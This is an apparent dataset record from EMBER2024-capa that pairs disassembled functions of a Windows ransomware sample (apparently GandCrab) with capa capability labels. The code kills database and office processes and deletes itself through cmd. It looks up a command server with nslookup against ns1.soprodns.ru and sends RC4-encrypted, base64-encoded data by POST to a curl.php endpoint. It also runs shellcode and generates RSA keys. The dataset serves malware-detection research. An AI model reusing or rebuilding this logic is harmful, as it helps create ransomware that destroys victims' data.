joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf5a46f0
Capabilities:
Enumerate processes
Resolve function by parsing pe exports
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa4
push ebx
push esi
push edi
push 0
push 2
mov dword [esp + 0x18], str.msftesql.exe
mov dword [esp + 0x1c], str.sqlagent.exe
mov dword [esp + 0x20], str.sqlbrowser.exe
mov dword [esp + 0x24], str.sqlservr.exe
mov dword [esp + 0x28], str.sqlwriter.exe
mov dword [esp + 0x2c], str.oracle.exe
mov dword [esp + 0x30], str.ocssd.exe
mov dword [esp + 0x34], str.dbsnmp.exe
mov dword [esp + 0x38], str.synctime.exe
mov dword [esp + 0x3c], str.mydesktopqos.exe
mov dword [esp + 0x40], str.agntsvc.exeisqlplussvc.exe
mov dword [esp + 0x44], str.xfssvccon.exe
mov dword [esp + 0x48], str.mydesktopservice.exe
mov dword [esp + 0x4c], str.ocautoupds.exe
mov dword [esp + 0x50], str.agntsvc.exeagntsvc.exe
mov dword [esp + 0x54], str.agntsvc.exeencsvc.exe
mov dword [esp + 0x58], str.firefoxconfig.exe
mov dword [esp + 0x5c], str.tbirdconfig.exe
mov dword [esp + 0x60], str.ocomm.exe
mov dword [esp + 0x64], str.mysqld.exe
mov dword [esp + 0x68], str.mysqld_nt.exe
mov dword [esp + 0x6c], str.mysqld_opt.exe
mov dword [esp + 0x70], str.dbeng50.exe
mov dword [esp + 0x74], str.sqbcoreservice.exe
mov dword [esp + 0x78], str.excel.exe
mov dword [esp + 0x7c], str.infopath.exe
mov dword [esp + 0x80], str.msaccess.exe
mov dword [esp + 0x84], str.mspub.exe
mov dword [esp + 0x88], str.onenote.exe
mov dword [esp + 0x8c], str.outlook.exe
mov dword [esp + 0x90], str.powerpnt.exe
mov dword [esp + 0x94], str.steam.exe
mov dword [esp + 0x98], str.sqlservr.exe
mov dword [esp + 0x9c], str.thebat.exe
mov dword [esp + 0xa0], str.thebat64.exe
mov dword [esp + 0xa4], str.thunderbird.exe
mov dword [esp + 0xa8], str.visio.exe
mov dword [esp + 0xac], str.winword.exe
mov dword [esp + 0xb0], str.wordpad.exe
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 4
push 0x3000
push 0x22c
mov esi, eax
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
je 0xf5a489b
mov dword [ebx], 0x22c
cmp esi, 0xffffffff
je 0xf5a489b
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebx + 0x24]
xor esi, esi
jmp 0xf5a48b0
push ecx
push dword [esp + esi*4 + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0xf5a48eb
push dword [ebx + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0xf5a48e5
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0xf5a48eb
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
lea ecx, [ebx + 0x24]
cmp esi, 0x27
jb 0xf5a48b0
mov esi, dword [esp + 0xc]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
lea ecx, [ebx + 0x24]
test eax, eax
jne 0xf5a48a4
test ebx, ebx
je 0xf5a4919
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a4bf0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], 1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 1
jmp 0xf5a4c0d
push 0
push 0
push 0
push 0xf5a4950
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0xf5a4c35
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 0xc

Function at 0xf5a4c40
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
xorps xmm0, xmm0
push 0
push eax
mov esi, ecx
movdqu xmmword [ebp - 0x10], xmm0
call fcn.0f5a9010
mov eax, dword [0xf5b2a6c]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov eax, dword [0xf5b2a68]
or dword [ebp - 0x2c], 0x101
mov dword [ebp - 0x20], eax
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
mov dword [ebp - 0x58], 0x44
push eax
push 0
push 0
push 0
push 1
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0xf5a4cb4
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xf5a4de0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0f5a8990
push ebx
push esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
push edi
push 0
lea eax, [ebp - 0xc]
push eax
push 0x1000
lea eax, [ebp - 0x100c]
push eax
push dword [0xf5b2a70]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov cl, byte [ebp - 0x100c]
lea edi, [ebp - 0x100c]
mov ebx, eax
test cl, cl
je 0xf5a4e65
mov esi, edi
sub esi, str.Cant_find_server
mov edi, edi
mov eax, str.Cant_find_server
test cl, cl
je 0xf5a4e5c
lea esp, [esp]
mov cl, byte [eax]
test cl, cl
je 0xf5a4df6
movsx edx, byte [esi + eax]
movsx ecx, cl
sub edx, ecx
jne 0xf5a4e57
inc eax
cmp byte [esi + eax], dl
jne 0xf5a4e40
cmp byte [eax], 0
je 0xf5a4df6
mov cl, byte [edi + 1]
inc edi
inc esi
test cl, cl
jne 0xf5a4e30
pop edi
pop esi
test ebx, ebx
pop ebx
je 0xf5a4e86
cmp dword [ebp - 0xc], 0
je 0xf5a4e86
push dword [ebp - 4]
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x100c]
call fcn.0f5a4cd0
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0xf5a4e90
Capabilities:
Contain obfuscated stackstrings
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x3c], 0x73006e
cmp dword [ebp + 8], 1
mov ebx, edx
push edi
mov word [ebp - 4], ax
mov edi, ecx
mov word [ebp - 0x40], ax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x38], 0x6f006c
cmovne eax, ecx
mov dword [ebp - 0x34], 0x6b006f
push 0
mov dword [ebp + 8], eax
lea eax, [ebp - 0x84]
push eax
push 0xf5b2a6c
push 0xf5b2a70
mov dword [ebp - 0x30], 0x700075
mov dword [ebp - 0x2c], 0x250020
mov dword [ebp - 0x28], 0x200053
mov dword [ebp - 0x24], 0x6e0064
mov dword [ebp - 0x20], 0x310073
mov dword [ebp - 0x1c], 0x73002e
mov dword [ebp - 0x18], 0x70006f
mov dword [ebp - 0x14], 0x6f0072
mov dword [ebp - 0x10], 0x6e0064
mov dword [ebp - 0xc], 0x2e0073
mov dword [ebp - 8], 0x750072
mov dword [ebp - 0x78], 0x73006e
mov dword [ebp - 0x74], 0x6f006c
mov dword [ebp - 0x70], 0x6b006f
mov dword [ebp - 0x6c], 0x700075
mov dword [ebp - 0x68], 0x250020
mov dword [ebp - 0x64], 0x200053
mov dword [ebp - 0x60], 0x6e0064
mov dword [ebp - 0x5c], 0x320073
mov dword [ebp - 0x58], 0x73002e
mov dword [ebp - 0x54], 0x70006f
mov dword [ebp - 0x50], 0x6f0072
mov dword [ebp - 0x4c], 0x6e0064
mov dword [ebp - 0x48], 0x2e0073
mov dword [ebp - 0x44], 0x750072
mov dword [ebp - 0x84], 0xc
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x80], 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0xf5a4fbd
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push 0
push 1
push dword [0xf5b2a70]
call esi
test eax, eax
je 0xf5a4fb3
push 0
lea eax, [ebp - 0x84]
push eax
push 0xf5b2a74
push 0xf5b2a68
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 1
push dword [0xf5b2a74]
call esi
test eax, eax
je 0xf5a4fb3
push 4
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0xf5a504b
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, esi
call fcn.0f5a4c40
mov edx, ebx
mov ecx, edi
call fcn.0f5a4de0
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.fabian_wosar__3
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a5060
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
movdqa xmm0, xmmword [0xf5b04c0]
lea eax, [ebp - 0x4c]
push ebx
push esi
push edi
push 4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x38]
push 0x3000
movdqu xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
movdqa xmm0, xmmword [0xf5b04d0]
push 0x100
push 0
mov word [ebp - 0x3c], 0x6e
movdqu xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x24], 0x646e6167
mov dword [ebp - 0x20], 0x62617263
mov dword [ebp - 0x1c], 0x7469622e
mov byte [ebp - 0x18], 0
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0xf5a517f
xor ecx, ecx
mov esi, 1
xor edi, edi
mov eax, dword [ebp + edi*4 - 0x14]
inc edi
mov dword [ebp - 8], eax
cmp edi, 3
jne 0xf5a50f9
dec esi
neg esi
sbb esi, esi
add esi, 2
xor edi, edi
cmp ecx, 0xffffffff
jne 0xf5a5109
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push 0x3000
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 8]
mov ebx, eax
push esi
mov ecx, ebx
call fcn.0f5a4e90
add esp, 4
push str.fabian_wosar__3
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0xf5a515c
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, dword [ebp - 4]
or ecx, 0xffffffff
jmp 0xf5a50e2
mov esi, dword [ebp - 4]
push ebx
push 0xf5afab4
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xf5a5190
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
push 4
push 0x3000
push 0x400
push 0
mov edi, eax
call esi
mov esi, eax
test edi, edi
je 0xf5a51f9
push 0x200
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test esi, esi
je 0xf5a51f9
push edi
push str._c_timeout__c_5__del___s___f__q
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push esi
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0xf5a5210
Capabilities:
Allocate or change rwx memory
Decode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x1c], edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push 0x40
push 0x3000
mov dword [ebp - 4], eax
lea esi, [eax + 1]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
test eax, eax
je 0xf5a524f
cmp dword [ebp - 4], esi
jae 0xf5a524f
mov edi, eax
jmp 0xf5a5251
xor edi, edi
xor esi, esi
lea eax, [ebp - 4]
push esi
push esi
push eax
push edi
push 1
push esi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0xf5a5385
mov eax, dword [0xf5afc80]
movq xmm0, qword [str.aeriedjDshasj]
mov esi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov ax, word [0xf5afc84]
mov word [ebp - 0xc], ax
mov al, byte [0xf5afc86]
push 0xff
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x11f]
push 0
push eax
movq qword [ebp - 0x18], xmm0
mov byte [ebp - 0x120], 0
call fcn.0f5a9010
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x18]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x120]
call fcn.0f5a5d70
push esi
mov edx, edi
lea ecx, [ebp - 0x120]
call fcn.0f5a5e20
add esp, 8
lea ecx, [ebp - 0x18]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x18], xmm0
push edi
call fcn.0f5a33e0
cmp dword [ebp - 0x18], 0
jne 0xf5a538d
mov edi, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [0xf5b2a60]
test edi, edi
mov esi, dword [ebp - 0x10]
cmovne eax, ecx
mov dword [ebp - 8], 1
mov dword [0xf5b2a60], eax
test esi, esi
je 0xf5a5341
push 4
push 0x3000
push esi
call ebx
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
test eax, eax
je 0xf5a5341
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test edi, edi
je 0xf5a535d
push edi
push 0
call eax
push eax
call ebx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test esi, esi
je 0xf5a5369
push esi
push 0
call eax
push eax
call ebx
mov esi, dword [ebp - 8]
push 0x8000
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0xf5a536c
call fcn.0f5a5190
int3
Function at 0xf5a53a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x404
push 0
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x200
push esi
push 0
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, 0xffffffff
je 0xf5a5487
push 0
push 0
push 0
push 8
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0xf5a5480
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 8], eax
test eax, eax
je 0xf5a5477
lea esi, [eax + 0x4e]
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
xor ebx, ebx
lea edi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
je 0xf5a5468
mov ecx, esi
test bl, 1
jne 0xf5a5453
mov al, byte [esi]
inc esi
mov byte [ebx + edi], al
jmp 0xf5a5457
mov byte [ebx + edi], 0
push ecx
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 4]
add eax, eax
cmp ebx, eax
jb 0xf5a5446
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a54a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10], edx
push edi
lea ecx, [ebp - 0x20]
mov dword [ebp - 8], ebx
call fcn.0f5a7ce0
call fcn.0f5a5060
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
lea edi, [eax*2 + 0x400]
lea eax, [edi + 1]
push eax
push 0
call esi
push 0x40
push 0x3000
push 0x32001
mov ebx, eax
push 0
mov dword [ebp - 0x18], ebx
call esi
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0xf5a550a
lea eax, [edi + 1]
cmp edi, eax
jb 0xf5a550c
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.data
push ebx
call esi
push dword [ebp - 8]
push ebx
call esi
movdqu xmm0, xmmword [str.Content_Type:_application_x_www_form_urlencoded]
push ebx
movdqu xmmword [ebp - 0x84], xmm0
movdqu xmm0, xmmword [0xf5afb30]
movdqu xmmword [ebp - 0x74], xmm0
movdqu xmm0, xmmword [0xf5afb40]
movdqu xmmword [ebp - 0x64], xmm0
movdqu xmm0, xmmword [0xf5afb50]
movdqu xmmword [ebp - 0x54], xmm0
movdqu xmm0, xmmword [0xf5afb60]
movdqu xmmword [ebp - 0x44], xmm0
movdqu xmm0, xmmword [0xf5afb70]
movdqu xmmword [ebp - 0x34], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edi, edi
lea eax, [ebp - 0x480]
push 0x3fc
push edi
push eax
mov dword [ebp - 0x484], edi
call fcn.0f5a9010
add esp, 0xc
lea eax, [ebp - 0x484]
push str.curl.php_token
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x484]
call fcn.0f5a53a0
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x84]
push eax
push str.POST
sub esp, 8
push 0x31fff
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0x484]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.0f5a7ef0
test eax, eax
je 0xf5a5628
cmp dword [ebp + 8], 0
mov edi, 1
je 0xf5a5628
lea edx, [ebp - 8]
mov dword [ebp - 8], 0
mov ecx, esi
call fcn.0f5a5210
test eax, eax
je 0xf5a5626
mov eax, dword [ebp - 8]
test eax, eax
je 0xf5a5628
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0xf5a5628
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0xf5a565e
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a5670
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x4c02
push 0
mov esi, edx
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0xf5a56a6
lea ebx, [eax + 0x800]
mov edi, eax
jmp 0xf5a56aa
xor edi, edi
xor ebx, ebx
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
push dword [ebp - 8]
push str.actionresulte_files_de_size_I64ue_time_d
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [ebp - 0xb0]
call fcn.0f5a39f0
lea ecx, [ebp - 0xb0]
call fcn.0f5a7330
lea ecx, [ebp - 0xb0]
call fcn.0f5a7140
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call esi
lea ecx, [ebp - 0xb0]
lea eax, [edi + eax*2]
push eax
call fcn.0f5a6f40
push edi
call esi
mov ecx, dword [0xf5afc80]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [ebp - 0x1af]
mov dword [ebp - 0x18], ecx
mov cx, word [0xf5afc84]
push 0xff
mov word [ebp - 0x14], cx
mov cl, byte [0xf5afc86]
push 0
push eax
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x1b0], 0
call fcn.0f5a9010
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.0f5a5d70
mov edx, dword [ebp - 4]
lea esi, [edi + edi]
add esp, 4
lea ecx, [ebp - 0x1b0]
push esi
call fcn.0f5a5e20
add esp, 4
lea eax, [edi*8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x40000001
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0xf5a57c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
push 0x40
push 0x3000
lea esi, [eax + 4]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov dword [ebp - 8], eax
call edi
mov ecx, dword [ebp - 8]
add eax, 2
test ecx, ecx
je 0xf5a57f5
mov dword [ebp - 4], ecx
cmp eax, esi
jb 0xf5a57fc
mov dword [ebp - 4], 0
push ebx
xor esi, esi
call edi
test eax, eax
je 0xf5a5822
mov edi, dword [ebp - 4]
mov al, byte [esi + ebx]
cmp al, 0xa
je 0xf5a5816
cmp al, 0xd
je 0xf5a5816
mov byte [edi], al
inc edi
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, eax
jb 0xf5a5808
mov ecx, dword [ebp - 4]
xor edx, edx
push 0
call fcn.0f5a54a0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 4
test eax, eax
mov ecx, 1
mov ebx, 0
cmovne ebx, ecx
push 0x8000
push 0
push dword [ebp - 8]
call esi
lea ecx, [ebp - 0xb0]
call fcn.0f5a7c10
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a5d70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
push 0xff
lea eax, [ebp - 0x10f]
mov dword [ebp - 0x10], edi
mov ebx, ecx
mov byte [ebp - 0x110], 0
push edi
push eax
mov dword [ebp - 8], ebx
call fcn.0f5a9010
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x110]
add esp, 0xc
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea esi, [ebp - 0x110]
xor edx, edx
add esi, ecx
div dword [ebp + 8]
mov byte [ebx + esi], cl
inc ecx
mov al, byte [edx + edi]
mov byte [esi], al
cmp ecx, 0x100
jl 0xf5a5db2
mov esi, dword [ebp - 8]
lea ebx, [ebp - 0x110]
mov edi, dword [ebp - 0x10]
sub ebx, esi
mov dword [ebp - 4], 0x100
mov dl, byte [esi]
movsx eax, byte [ebx + esi]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0xf5a5e04
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 8]
mov al, byte [edi + ecx]
mov byte [esi], al
inc esi
dec dword [ebp - 4]
mov byte [edi + ecx], dl
jne 0xf5a5de7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xf5a5e20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [ebp - 4], ecx
xor edi, edi
cmp dword [ebp + 8], ebx
jbe 0xf5a5ea2
lea ebx, [ebx]
inc esi
and esi, 0x800000ff
jns 0xf5a5e51
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + ecx]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0xf5a5e69
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
mov byte [esi + ecx], al
mov byte [edi + ecx], dl
movzx ecx, byte [esi + ecx]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0xf5a5e8c
dec ecx
or ecx, 0xffffff00
inc ecx
mov eax, dword [ebp - 4]
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 8]
xor byte [ebx + ecx], al
inc ebx
mov ecx, dword [ebp - 4]
cmp ebx, dword [ebp + 8]
jb 0xf5a5e40
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xf5a62b0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0xf5a6305
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0xf5a62fe
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0xf5a62fc
xor eax, eax
jmp 0xf5a6389
jmp 0xf5a6305
xor eax, eax
jmp 0xf5a6389
lea edx, [ebp - 8]
push edx
push 0x8000001
push 0xa400
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0xf5a6322
nop
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 6
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
push 7
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov eax, 1
mov esp, ebp
pop ebp
ret